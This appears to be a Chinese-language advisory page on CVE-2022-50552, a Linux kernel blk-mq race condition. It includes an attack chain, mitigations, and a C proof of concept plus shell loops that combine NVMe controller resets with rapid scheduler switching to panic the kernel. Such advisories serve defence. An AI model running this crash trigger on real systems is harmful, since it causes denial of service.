IPBUF安全漏洞报告
English
CVE-2022-50552 CVSS 7.8 高危

CVE-2022-50552 Linux内核blk-mq调度器切换竞争条件漏洞

披露日期: 2025-10-07
来源: 416baaa9-dc9f-4396-8d5f-8c081fb06d67

漏洞信息

漏洞编号
CVE-2022-50552
漏洞类型
竞争条件/释放后重用(Use-After-Free)
CVSS评分
7.8 高危
攻击向量
本地 (AV:L)
认证要求
低权限 (PR:L)
用户交互
无需交互 (UI:N)
影响产品
Linux Kernel(blk-mq块设备多队列子系统)

相关标签

Linux内核竞争条件Use-After-Freeblk-mq内核panic本地权限提升拒绝服务NVMeI/O调度器CVE-2022-50552

漏洞概述

CVE-2022-50552是Linux内核块设备多队列(blk-mq)子系统中的一个高危竞争条件漏洞。该漏洞位于内核块I/O调度器的elevator切换逻辑中,当重新初始化硬件队列时,hctx(硬件上下文)的run_work可能与elevator切换操作产生竞争。问题在于,在重新初始化硬件队列的上下文中,队列仅被冻结(frozen),冻结机制仅阻止新的请求分配,但无法阻止hctx工作队列的继续运行。正在运行的hctx工作可能获取到正在被销毁的elevator指针,从而导致释放后重用(Use-After-Free)错误和内核崩溃(kernel panic)。该漏洞的CVSS评分为7.8,属于高危级别,攻击向量为本地攻击,需要低权限即可触发,无需用户交互。该漏洞影响机密性、完整性和可用性三个方面,均为高影响。漏洞在NVMe控制器重置等场景下容易被触发,崩溃日志显示在kyber_has_work函数中发生NULL指针解引用,调用栈涉及__blk_mq_do_dispatch_sched、__blk_mq_sched_dispatch_requests等调度相关函数。该漏洞已在多个Linux内核稳定版本中修复,修复方案是使用quiesced elevator switch替代原有的切换逻辑,并将原函数设为static以限制其作用域。

技术细节

该漏洞的核心技术原理在于blk-mq子系统中elevator(I/O调度器)的切换机制与hctx run_work之间的竞争条件。

**漏洞原理:**
1. 在Linux内核blk-mq框架中,每个硬件队列(hctx)都有一个关联的工作队列(run_work),用于异步处理请求调度。
2. 当系统需要重新初始化硬件队列时(例如NVMe控制器重置),会执行elevator切换操作。
3. 原始代码在切换elevator时仅冻结(freeze)队列,冻结操作通过percpu_ref机制阻止新的请求分配,但不会停止已经在运行中的hctx工作。
4. hctx的run_work可能正在执行调度操作,此时它通过elevator指针访问调度器数据结构和回调函数。
5. 如果在run_work执行期间elevator被切换并释放,run_work将访问已被释放的内存,导致Use-After-Free。
6. 实际崩溃表现为NULL指针解引用,发生在kyber_has_work函数中(偏移量0x29/0x70),因为elevator指针或其内部数据已被置空。

**利用方式:**
攻击者可以通过以下方式触发该漏洞:
1. 本地拥有低权限用户访问权限(PR:L)。
2. 触发NVMe控制器重置操作(例如通过热插拔、设备错误处理、或sysfs接口)。
3. 在elevator切换和hctx run_work执行之间制造竞争窗口。
4. 当竞争条件触发时,内核将发生panic,导致系统拒绝服务(DoS)。
5. 在某些场景下,攻击者可能利用Use-After-Free实现权限提升。

**修复方案:**
使用quiesced elevator switch(静态化的elevator_switch函数)替代原有的elevator_switch实现,确保在切换elevator时完全静默(quiesce)所有hctx的工作,避免竞争条件的发生。

攻击链分析

STEP 1
步骤1:获取本地访问权限
攻击者需要在目标系统上拥有本地用户账户,并具备对NVMe设备节点或块设备sysfs接口的访问权限(通常需要root权限或属于disk组)。
STEP 2
步骤2:触发硬件队列重新初始化
通过NVMe IOCTL重置命令(如NVME_IOCTL_RESET)或PCI设备重置(写入/sys/bus/pci/devices/.../reset)触发NVMe控制器重置,使blk-mq重新初始化硬件队列。
STEP 3
步骤3:制造elevator切换竞争窗口
在控制器重置过程中,通过快速切换I/O调度器(如在/sys/block/nvme0n1/queue/scheduler中写入none、kyber、mq-deadline等),制造hctx run_work与elevator切换之间的竞争条件。
STEP 4
步骤4:触发Use-After-Free
当竞争条件命中时,hctx的run_work正在通过已被释放的elevator指针访问调度器数据,导致Use-After-Free错误,内核在kyber_has_work等函数中发生NULL指针解引用。
STEP 5
步骤5:内核崩溃/权限提升
漏洞触发后内核发生panic(Oops: 0000 [#1] SMP PTI),导致系统拒绝服务。在某些场景下,攻击者可能利用Use-After-Free实现本地权限提升,获取root权限。

PoC / 利用代码

⚠️ 仅供安全研究
以下代码仅用于安全研究和授权测试,未经授权使用属于违法行为。
PoC
// CVE-2022-50552 PoC - Trigger blk-mq elevator switch race condition // This PoC demonstrates how to trigger the race condition between // hctx run_work and elevator switch during hardware queue reinitialization. // Note: This is a kernel-level vulnerability requiring root or specific // hardware (NVMe) access to trigger reliably. #include <stdio.h> #include <stdlib.h> #include <string.h> #include <fcntl.h> #include <unistd.h> #include <sys/ioctl.h> #include <linux/nvme_ioctl.h> // Step 1: Open an NVMe device to trigger queue reinitialization int trigger_nvme_reset() { int fd; int ret; // Open NVMe device node fd = open("/dev/nvme0n1", O_RDWR); if (fd < 0) { perror("Failed to open NVMe device (need root or nvme group access)"); return -1; } // Trigger NVMe controller reset via ioctl // This causes blk-mq to reinitialize hardware queues and switch elevator printf("Triggering NVMe controller reset...\n"); ret = ioctl(fd, NVME_IOCTL_RESET, 0); if (ret < 0) { perror("NVME_IOCTL_RESET failed"); } close(fd); return ret; } // Step 2: Rapidly switch I/O schedulers to increase race window int rapid_elevator_switch(const char *device) { char path[256]; char sched[64]; int fd; // Path to the elevator scheduler file snprintf(path, sizeof(path), "/sys/block/%s/queue/scheduler", device); printf("Rapidly switching elevator on %s...\n", device); // Alternate between different schedulers to trigger race const char *schedulers[] = {"none", "kyber", "mq-deadline", "bfq"}; int num_sched = sizeof(schedulers) / sizeof(schedulers[0]); for (int i = 0; i < 1000; i++) { fd = open(path, O_WRONLY); if (fd < 0) continue; write(fd, schedulers[i % num_sched], strlen(schedulers[i % num_sched])); close(fd); // Small delay to allow hctx run_work to start usleep(1); } return 0; } int main(int argc, char *argv[]) { printf("CVE-2022-50552 PoC - blk-mq elevator switch race\n"); printf("WARNING: This may crash the kernel!\n\n"); // Trigger the vulnerability by resetting NVMe and switching schedulers // Run in a loop to increase probability of hitting the race window for (int attempt = 0; attempt < 100; attempt++) { printf("Attempt %d...\n", attempt + 1); // Rapidly switch elevator schedulers rapid_elevator_switch("nvme0n1"); // Trigger controller reset to force queue reinitialization trigger_nvme_reset(); } printf("PoC completed. Check dmesg for kernel panic or oops.\n"); return 0; } // Kernel-side trigger (alternative approach via sysfs): // while true; do echo none > /sys/block/nvme0n1/queue/scheduler; echo kyber > /sys/block/nvme0n1/queue/scheduler; done & // echo 1 > /sys/bus/pci/devices/<NVME_BDF>/reset # Trigger PCI reset // Expected crash output in dmesg: // BUG: kernel NULL pointer dereference, address: 0000000000000008 // RIP: 0010:kyber_has_work+0x29/0x70 // Call Trace: // __blk_mq_do_dispatch_sched+0x83/0x2b0 // __blk_mq_sched_dispatch_requests+0x12e/0x170 // blk_mq_sched_dispatch_requests+0x30/0x60 // __blk_mq_run_hw_queue+0x2b/0x50 // process_one_work+0x1ef/0x380 // worker_thread+0x2d/0x3e0

影响范围

Linux Kernel < 5.15.86(5.15稳定分支)
Linux Kernel < 5.10.162(5.10稳定分支)
Linux Kernel < 5.4.224(5.4稳定分支)
Linux Kernel < 4.19.262(4.19稳定分支)
Linux Kernel < 4.14.297(4.14稳定分支)

防御指南

临时缓解措施
在无法立即升级内核的情况下,建议采取以下临时缓解措施:1)限制普通用户对/dev/nvme*设备节点的访问权限,仅允许特权用户操作;2)通过文件权限控制/sys/block/*/queue/scheduler文件的写入权限,防止未授权的调度器切换;3)禁用NVMe设备的热插拔功能,减少触发控制器重置的机会;4)监控系统日志,及时发现并响应内核崩溃事件;5)使用cgroups或seccomp限制进程对块设备相关sysfs文件的访问。

参考链接

快速导航: 前沿安全 最新收录域名列表 最新威胁情报列表 最新网站排名列表 最新工具资源列表 最新CVE漏洞列表